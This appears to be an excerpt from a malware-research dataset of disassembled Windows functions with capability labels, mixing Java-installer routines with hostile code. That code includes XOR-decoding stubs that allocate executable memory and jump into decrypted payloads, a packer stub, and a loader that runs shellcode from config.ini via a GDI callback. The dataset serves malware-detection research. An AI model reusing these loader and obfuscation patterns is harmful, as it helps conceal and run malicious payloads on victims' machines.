joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41aa49
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x120
mov eax, 0x4593c3
call fcn.00441f1a
mov eax, dword [ebp + 8]
mov esi, ecx
mov dword [ebp - 0x78], eax
mov eax, esi
call fcn.0041aa2b
mov edi, eax
test edi, edi
jne 0x41ab01
push str.cannot_find_resource
lea ecx, [ebp - 0x30]
call fcn.00405b5f
and dword [ebp - 4], edi
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x30]
mov ecx, esi
call fcn.0041a976
mov edi, eax
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 1
call fcn.00416cfa
push str.System_error
mov byte [ebp - 4], 2
call dword [sym.imp.kernel32.dll_GetLastError]
mov ecx, dword [sym.imp.kernel32.dll_FindResourceA]
push eax
mov eax, esi
push eax
lea edi, [ebp - 0x90]
call fcn.0042aa6f
mov byte [ebp - 4], 3
mov dword [ebp - 0x84], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_Resources.cpp
mov dword [ebp - 0x80], str.Resource::getPtr
mov dword [ebp - 0x7c], 0x41
lea ecx, [ebp - 0x58]
push ecx
lea esi, [ebp - 0x84]
mov ecx, eax
call fcn.0041acfa
lea eax, [ebp - 0x58]
mov dword [esp], 0x46d888
push eax
call fcn.00426cfe
mov ebx, dword [sym.imp.kernel32.dll_LoadResource]
push edi
push dword [esi + 0x40]
call ebx
test eax, eax
jne 0x41ab85
push str.cannot_load_resource
lea ecx, [ebp - 0x30]
call fcn.00405b5f
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x30]
mov ecx, esi
mov dword [ebp - 4], 4
call fcn.0041a976
mov edi, eax
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 5
call fcn.00416cfa
push str.System_error
mov byte [ebp - 4], 6
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
mov eax, esi
push eax
mov ecx, ebx
lea edi, [ebp - 0x90]
call fcn.0042aa6f
mov byte [ebp - 4], 7
mov dword [ebp - 0x84], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_Resources.cpp
mov dword [ebp - 0x80], str.Resource::getPtr
mov dword [ebp - 0x7c], 0x46
jmp 0x41aae0
push eax
call dword [sym.imp.kernel32.dll_LockResource]
cmp dword [esi + 0x3c], 6
mov ebx, eax
jne 0x41abb5
mov esi, dword [esi + 0x1c]
and esi, 0xf
jbe 0x41aba6
dec esi
movzx ecx, word [eax]
lea eax, [eax + ecx*2 + 2]
jne 0x41ab9c
movzx ecx, word [eax]
mov edx, dword [ebp - 0x78]
add ecx, ecx
mov dword [edx], ecx
lea ebx, [eax + 2]
jmp 0x41abc4
push edi
push dword [esi + 0x40]
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, ebx
call fcn.00441f9d
ret 4
Function at 0x420edc
Capabilities:
Check http status code

Disassembly:
push 0x94
mov eax, 0x459272
call fcn.00441f1a
mov esi, ecx
push esi
push 0x13
pop ecx
call fcn.0042093a
mov dword [ebp - 0x8c], eax
cmp eax, 0xc8
je 0x421023
cmp eax, 0xce
je 0x421023
cmp eax, 0x193
jne 0x420fd6
push 0x4634c6
lea ecx, [ebp - 0x4c]
call fcn.00405b5f
push 0x14
xor edi, edi
push esi
lea ecx, [ebp - 0x4c]
lea ebx, [ebp - 0x30]
mov dword [ebp - 4], edi
call fcn.00420ac4
push edi
push 1
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 2
call fcn.00405e43
mov esi, str.Export_Denied
push esi
call fcn.0043b360
pop ecx
push eax
push esi
mov eax, ebx
push eax
xor eax, eax
call fcn.00426cfe
cmp eax, 0xffffffff
je 0x420fc7
mov edi, 0x193
lea ecx, [ebp - 0xa0]
call fcn.0041ebb5
mov dword [ebp - 0xa0], vtable.HttpConnection::export_compliance_error.0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x7c]
push eax
lea esi, [ebp - 0x88]
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x88], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_NetUtils.cpp
mov dword [ebp - 0x84], str.HttpConnection::Response::checkStatus
mov dword [ebp - 0x80], 0x2cb
call fcn.004233d7
mov dword [esp], 0x46dbd8
lea eax, [ebp - 0x7c]
push eax
call fcn.00426cfe
or dword [ebp - 4], 0xffffffff
push edi
push 1
lea ecx, [ebp - 0x30]
call fcn.00405e43
mov edi, dword [ebp - 0x8c]
lea ecx, [ebp - 0xa0]
call fcn.0041ebb5
lea ecx, [ebp - 0x7c]
mov dword [ebp - 4], 4
push ecx
lea esi, [ebp - 0x88]
mov ecx, eax
mov dword [ebp - 0x88], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_NetUtils.cpp
mov dword [ebp - 0x84], str.HttpConnection::Response::checkStatus
mov dword [ebp - 0x80], 0x2ce
call fcn.00423378
mov dword [esp], 0x46db74
jmp 0x420fbe
call fcn.00441f9d
ret

Function at 0x421319
Capabilities:
Parse url

Disassembly:
push 0x5c
mov eax, 0x45590b
call fcn.00441f1a
push 0x38
lea eax, [ebp - 0x64]
push 0
push eax
mov esi, ecx
mov edi, edx
call fcn.0043b8b0
xor ebx, ebx
inc ebx
add esp, 0xc
cmp dword [esi + 0x14], 0x10
mov dword [ebp - 0x68], 0x3c
mov dword [ebp - 0x54], ebx
jb 0x42134e
mov esi, dword [esi]
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push esi
call dword [sym.imp.wininet.dll_InternetCrackUrlA]
test eax, eax
jne 0x421365
xor al, al
jmp 0x4213a9
mov eax, dword [ebp - 0x5c]
push 3
pop ecx
sub eax, ecx
je 0x42137a
dec eax
je 0x421376
mov dword [edi], ebx
jmp 0x421380
mov dword [edi], ecx
jmp 0x421380
mov dword [edi], 2
push dword [ebp - 0x54]
lea esi, [ebp - 0x2c]
push dword [ebp - 0x58]
call fcn.0040aa07
and dword [ebp - 4], 0
add edi, 4
mov esi, eax
call fcn.00405cea
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00405e43
mov al, bl
call fcn.00441f9d
ret
Function at 0x424348
Capabilities:
Get common file path

Disassembly:
push 0x38
mov eax, 0x454edd
call fcn.00441f1a
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x30], eax
mov esi, 0x104
lea eax, [ebp - 0x40]
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
call fcn.00415ddc
mov dword [ebp - 4], edi
mov esi, dword [ebp - 0x40]
mov edi, dword [ebp - 0x3c]
mov ebx, dword [sym.imp.kernel32.dll_GetTempPathA]
push esi
sub edi, esi
push edi
call ebx
cmp eax, edi
jbe 0x4243a4
mov esi, eax
lea eax, [ebp - 0x40]
call fcn.00415ddc
mov esi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
push esi
sub eax, esi
push eax
call ebx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00405b5f
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.00425913
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00405e43
test esi, esi
je 0x4243d3
push esi
call fcn.00426cfe
pop ecx
mov eax, dword [ebp - 0x30]
call fcn.00441f9d
ret

Function at 0x424a27
Capabilities:
Identify system language via api

Disassembly:
push 4
mov eax, 0x4545a2
call fcn.00441eb1
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.kernel32.dll_GetThreadLocale]
push eax
mov eax, esi
call fcn.00426cfe
pop ecx
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.00426cfe
pop ecx
call dword [sym.imp.kernel32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.00426cfe
mov eax, esi
mov dword [esp], 0x409
call fcn.00426cfe
pop ecx
mov eax, esi
call fcn.00441f89
ret

Function at 0x4256a7
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [eax + 0x14], 0x10
jb 0x4256af
mov eax, dword [eax]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
ret

Function at 0x4256bf
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [eax + 0x14], 0x10
jb 0x4256c7
mov eax, dword [eax]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4256db
test al, 0x10
je 0x4256db
xor eax, eax
inc eax
ret
xor eax, eax
ret
Function at 0x4259cd
Capabilities:
Get file version info

Disassembly:
push 0xf0
mov eax, 0x45915b
call fcn.00441f1a
mov eax, dword [ebp + 8]
push eax
mov esi, ebx
mov dword [ebp - 0x54], ebx
call fcn.00406ec6
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebx + 0x1c], esi
mov dword [ebx + 0x20], esi
mov dword [ebx + 0x24], esi
mov byte [ebp - 4], 1
cmp dword [ebx + 0x14], 0x10
mov dword [ebp - 0x40], esi
jb 0x425a09
mov eax, dword [ebx]
jmp 0x425a0b
mov eax, ebx
lea ecx, [ebp - 0x40]
push ecx
push eax
call dword [sym.imp.version.dll_GetFileVersionInfoSizeA]
cmp eax, esi
jne 0x425ac3
push str.System_error
mov dword [ebp - 0x4c], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.VersionResource::VersionResource
mov dword [ebp - 0x44], 0x464
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.00406ec6
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 2
call fcn.00409545
lea eax, [ebp - 0xfc]
push str.GetFileVersionInfoSize_
push eax
mov byte [ebp - 4], 3
call fcn.0040b58e
pop ecx
pop ecx
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 4
call fcn.0040b3b1
mov esi, eax
push 0x466ad0
push esi
call fcn.0040b58e
pop ecx
pop ecx
mov ecx, dword [sym.imp.version.dll_GetFileVersionInfoSizeA]
push esi
lea edi, [ebp - 0x60]
call fcn.0042aa6f
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3c]
push ecx
lea esi, [ebp - 0x4c]
mov ecx, eax
call fcn.0041acfa
lea eax, [ebp - 0x3c]
mov dword [esp], 0x46d888
push eax
call fcn.00426cfe
mov esi, eax
lea eax, [ebx + 0x1c]
call fcn.0041053c
mov ecx, dword [ebx + 0x1c]
mov eax, dword [ebx + 0x20]
sub eax, ecx
cmp dword [ebx + 0x14], 0x10
jb 0x425adf
mov edx, dword [ebx]
jmp 0x425ae1
mov edx, ebx
mov edi, dword [sym.imp.version.dll_GetFileVersionInfoA]
push ecx
push eax
push dword [ebp - 0x40]
push edx
call edi
test eax, eax
jne 0x425b7f
push str.System_error
mov dword [ebp - 0x4c], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.VersionResource::VersionResource
mov dword [ebp - 0x44], 0x46d
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.00406ec6
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 6
call fcn.00409545
lea eax, [ebp - 0xfc]
push str.GetFileVersionInfo_
push eax
mov byte [ebp - 4], 7
call fcn.0040b58e
pop ecx
pop ecx
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 8
call fcn.0040b3b1
mov esi, eax
push 0x466ad0
push esi
call fcn.0040b58e
pop ecx
pop ecx
mov ecx, edi
push esi
lea edi, [ebp - 0x60]
call fcn.0042aa6f
mov byte [ebp - 4], 9
jmp 0x425aa5
mov eax, ebx
call fcn.00441f9d
ret 4
Function at 0x426cfe
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x426d0d
pop dword [ebp - 0x18]
mov eax, 0xa1d0b5ae
sub eax, 0xa18e48a1
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x489eb
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x5006
xor esi, esi
add esi, eax
mov edi, 0xee2ff1e8
sub edi, 0xede5ebe8
add edi, dword [ebp - 0x18]
mov edx, 0x186651b9
sub edx, 0xa4a9f8aa
add dword [ebp - 0x14], esi
mov ebx, dword [edi]
xor dword [ebp - 0x10], ebx
add ebx, edx
sub dword [ebp - 0xc], ebx
mov dword [esi], ebx
xor dword [ebp - 0x14], 0x2359b605
add esi, 0x6ca01bdd
sub esi, 0x6ca01bd9
add edi, 4
loop 0x426d63
add eax, 0x94c887ee
add eax, 0x6b38aafd
mov ebx, eax
add eax, 0xd90906be
add eax, 0x26f6f947
mov ecx, 0x6325c47e
sub ecx, 0x62e5c47e
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x428cf2
Capabilities:
Check mutex on windows

Disassembly:
push 0xa8
mov eax, 0x458f50
call fcn.00441eb1
push str.Global_MSIExecute
xor esi, esi
push esi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 1
mov dword [ebp - 4], esi
cmp eax, esi
je 0x428dc4
push dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], eax
cmp dword [ebp + 8], esi
je 0x428da4
cmp dword [0x47d500], 1
jg 0x428da4
lea eax, [ebp - 0xb4]
push eax
call fcn.00409545
lea eax, [ebp - 0xb4]
push str.finish_waiting_for_mutex:
push eax
mov byte [ebp - 4], 1
call fcn.0040b58e
pop ecx
pop ecx
push dword [ebp - 0x14]
lea eax, [ebp - 0xb4]
push eax
call fcn.0040df0e
lea eax, [ebp - 0xb4]
push eax
push 0x1c8
push 1
mov ebx, str.msi::waitForInstallationCompletion
mov edi, str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_MsiUtils.cpp
mov esi, 0x47d500
call fcn.004078b6
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 0
call fcn.0040789c
cmp dword [ebp - 0x14], 0x102
jne 0x428dc4
xor bl, bl
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x1c]
call fcn.00426cfe
pop ecx
mov al, bl
call fcn.00441f89
ret
mov bl, 1
jmp 0x428daf

Function at 0x434134
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x479630]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x14
mov eax, 0x4566fc
call fcn.00441eb1
xor esi, esi
lea eax, [ebp + 0x38]
push eax
push esi
push esi
push 0x2c
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.shell32.dll_SHGetFolderPathW]
cmp eax, esi
je 0x43418a
push 0xc8
lea esi, [ebp - 0x20]
call fcn.00426cfe
push 0x46d720
mov eax, esi
push eax
call fcn.00426cfe
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp]
call fcn.00414d60
push 0x4695b4
push eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], esi
call fcn.00426cfe
push ebx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00432e7f
add esp, 0xc
push 1
xor edi, edi
lea esi, [ebp + 0x1c]
call fcn.00414e32
push 1
lea esi, [ebp]
call fcn.00414e32
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.0043a455
add ebp, 0x244
leave
ret

Function at 0x43a455
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x479630]
jne 0x43a45f
repz ret
jmp fcn.004446c5
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1002aaee
pop dword [ebp - 0x28]
mov eax, 0x1002aaee
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xb7cad504
sub dword [ebp - 0x38], 0x69788fb9
mov dword [ebp - 0x34], 0x69d70c15
add dword [ebp - 0x34], 0xc85c4030
mov dword [ebp - 0x30], 0x4c0085e0
add dword [ebp - 0x30], 0x4bbe4e
mov dword [ebp - 0x2c], 0x7568a637
sub dword [ebp - 0x2c], 0x7568a637
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x2c041144
add dword [ebp - 0x38], 0x486e5812
mov dword [ebp - 0x34], 0x69a33233
sub dword [ebp - 0x34], 0x2836d0be
mov dword [ebp - 0x30], 0xc85272ac
sub dword [ebp - 0x30], 0x64e30640
mov dword [ebp - 0x2c], 0x86ff5a34
add dword [ebp - 0x2c], 0x7900a5cc
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xa164c2f9
sub eax, 0x916202d1
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x372f4
push 0
call eax
mov ecx, 0x4ade
xor edx, edx
add edx, eax
mov ebx, 0xf129385d
add ebx, 0x1eda5da3
add ebx, dword [ebp - 0x28]
mov edi, 0xc06f87a3
sub edi, 0x7ed11c8c
xor dword [ebp - 0x10], 0xb2f80e04
mov esi, dword [ebx]
add dword [ebp - 0xc], esi
sub esi, edi
sub dword [ebp - 0x24], 0x40d2823d
mov dword [edx], esi
add dword [ebp - 0x1c], esi
add edx, 4
add ebx, 0x7366c963
sub ebx, 0x7366c95f
loop 0x1002ac02
add eax, 0xd485ccb9
add eax, 0x2b7b5192
xor ebx, ebx
add ebx, eax
add eax, 0x2884c55e
add eax, 0xd77b3aa7
mov ecx, 0x10000000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x3484eeb1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftPCHealthErrorReportingDWInstalled
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x3484ef09
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
push 0
push 0
push str.DW0200
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x3484ef09
mov al, 1
jmp 0x3484ef0b
xor al, al
leave
ret 8
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x401c66
pop dword [ebp - 8]
mov eax, 0x88602024
sub eax, 0x882003be
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x7e525cbf
add dword [ebp - 0x18], 0xcfffe88c
mov dword [ebp - 0x14], 0xa8d51adc
add dword [ebp - 0x14], 0x895e3169
mov dword [ebp - 0x10], 0x145bc89a
add dword [ebp - 0x10], 0x37f07b94
mov dword [ebp - 0xc], 0xbed4edb1
add dword [ebp - 0xc], 0x412b124f
lea eax, [ebp - 0x18]
push eax
mov eax, 0x4d05a61d
sub eax, 0x4cc575c9
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x7094462f
sub dword [ebp - 0x18], 0xfc21dcd9
mov dword [ebp - 0x14], 0x5740c3a7
sub dword [ebp - 0x14], 0x15d46232
mov dword [ebp - 0x10], 0x7dfd1360
sub dword [ebp - 0x10], 0x1a8da6f4
mov dword [ebp - 0xc], 0x9188144e
add dword [ebp - 0xc], 0x6e77ebb2
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x333e2
push 0
call eax
mov ecx, DispatchMessageW
mov edi, eax
mov edx, 0x407000
add edx, dword [ebp - 8]
mov esi, 0x9571546b
xor dword [ebp - 4], ebx
mov ebx, dword [edx]
add dword [ebp - 4], edx
sub ebx, esi
mov dword [ebp - 4], 0x5224e54f
mov dword [edi], ebx
xor dword [ebp - 4], 0xb106a442
add edi, 0xd16a7fad
sub edi, 0xd16a7fa9
add edx, 0x2c4a859d
add edx, 0xd3b57a67
loop 0x401d71
add eax, 0xa60926af
sub eax, 0xa60847ac
xor ebx, ebx
add ebx, eax
add eax, 0xca07821b
add eax, 0x35f87dea
mov ecx, 0xfb093c4b
add ecx, 0x536c3b5
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x1000ade1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1000adf0
pop dword [ebp - 0x40]
mov eax, 0xa4f3e21b
add eax, 0x6b0ccbd5
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xa84d1237
add dword [ebp - 0x50], 0xa6053314
mov dword [ebp - 0x4c], 0x8b7f4aa0
sub dword [ebp - 0x4c], 0x594bfe5b
mov dword [ebp - 0x48], 0xcd381bb
sub dword [ebp - 0x48], 0xc0873d8d
mov dword [ebp - 0x44], 0xd24e4ce3
add dword [ebp - 0x44], 0x2db1b31d
lea eax, [ebp - 0x50]
push eax
mov eax, 0xe318146c
sub eax, 0xd31803fc
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x4bed5783
sub dword [ebp - 0x50], 0xd77aee2d
mov dword [ebp - 0x4c], 0x99697327
sub dword [ebp - 0x4c], 0x57fd11b2
mov dword [ebp - 0x48], 0x6f7afdc0
sub dword [ebp - 0x48], 0xc0b9154
mov dword [ebp - 0x44], 0xb9f6db94
add dword [ebp - 0x44], 0x4609246c
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x268e66a9
sub eax, 0x168e5641
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3647b
push 0
call eax
mov ecx, 0x41b8
mov edi, eax
mov ebx, 0x1b094a5e
sub ebx, 0xb08425e
add ebx, dword [ebp - 0x40]
mov edx, 0xb599c2b0
sub edx, 0xbaa1e015
mov esi, dword [ebx]
sub dword [ebp - 4], ebx
xor esi, edx
sub dword [ebp - 8], ebx
mov dword [edi], esi
add dword [ebp - 0x18], esi
add edi, 0x539f73c5
add edi, 0xac608c3f
add ebx, 0xf4bd9298
add ebx, 0xb426d6c
loop 0x1000af0c
add eax, 0xf9b3
xor ebx, ebx
add ebx, eax
add eax, 0x1413c00c
add eax, 0xebec3ff9
mov ecx, 0x438db1c8
add ecx, 0xcc724e38
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x1000bc58
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10003d90]
jne 0x1000c001
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x1000e130], eax
mov dword [0x1000e12c], ecx
mov dword [0x1000e128], edx
mov dword [0x1000e124], ebx
mov dword [0x1000e120], esi
mov dword [0x1000e11c], edi
mov word [0x1000e148], ss
mov word [0x1000e13c], cs
mov word [0x1000e118], ds
mov word [0x1000e114], es
mov word [0x1000e110], fs
mov word [0x1000e10c], gs
pushfd
pop dword [0x1000e140]
mov eax, dword [ebp]
mov dword [0x1000e134], eax
mov eax, dword [ebp + 4]
mov dword [0x1000e138], eax
lea eax, [ebp + 8]
mov dword [0x1000e144], eax
mov eax, dword [ebp - 0x320]
mov dword [0x1000e080], 0x10001
mov eax, dword [0x1000e138]
mov dword [0x1000e034], eax
mov dword [0x1000e028], 0xc0000409
mov dword [0x1000e02c], 1
mov eax, dword [0x10003d90]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1000e014]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1000e078], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x10003d98
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1000e078], 0
jne 0x1000c0ed
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x108], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [esp + 4]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10001031
mov ecx, dword [str.config.ini]
mov edx, dword [0x10009294]
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
mov dword [eax], ecx
mov ecx, dword [0x10009298]
push 0
mov dword [eax + 4], edx
push 0x80000000
lea edx, [esp + 0x28]
push edx
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x3000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x12c
mov esi, eax
push 0x190
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
push 0x64
push 0x64
push 0
push 0
push 0
push 0
push ebx
push 0
push esi
call dword [sym.imp.USER32.dll_DrawStateA]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
mov ecx, dword [esp + 0x114]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10001108
add esp, 0x10c
ret

Function at 0x10001108
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001112
repz ret
jmp fcn.10001365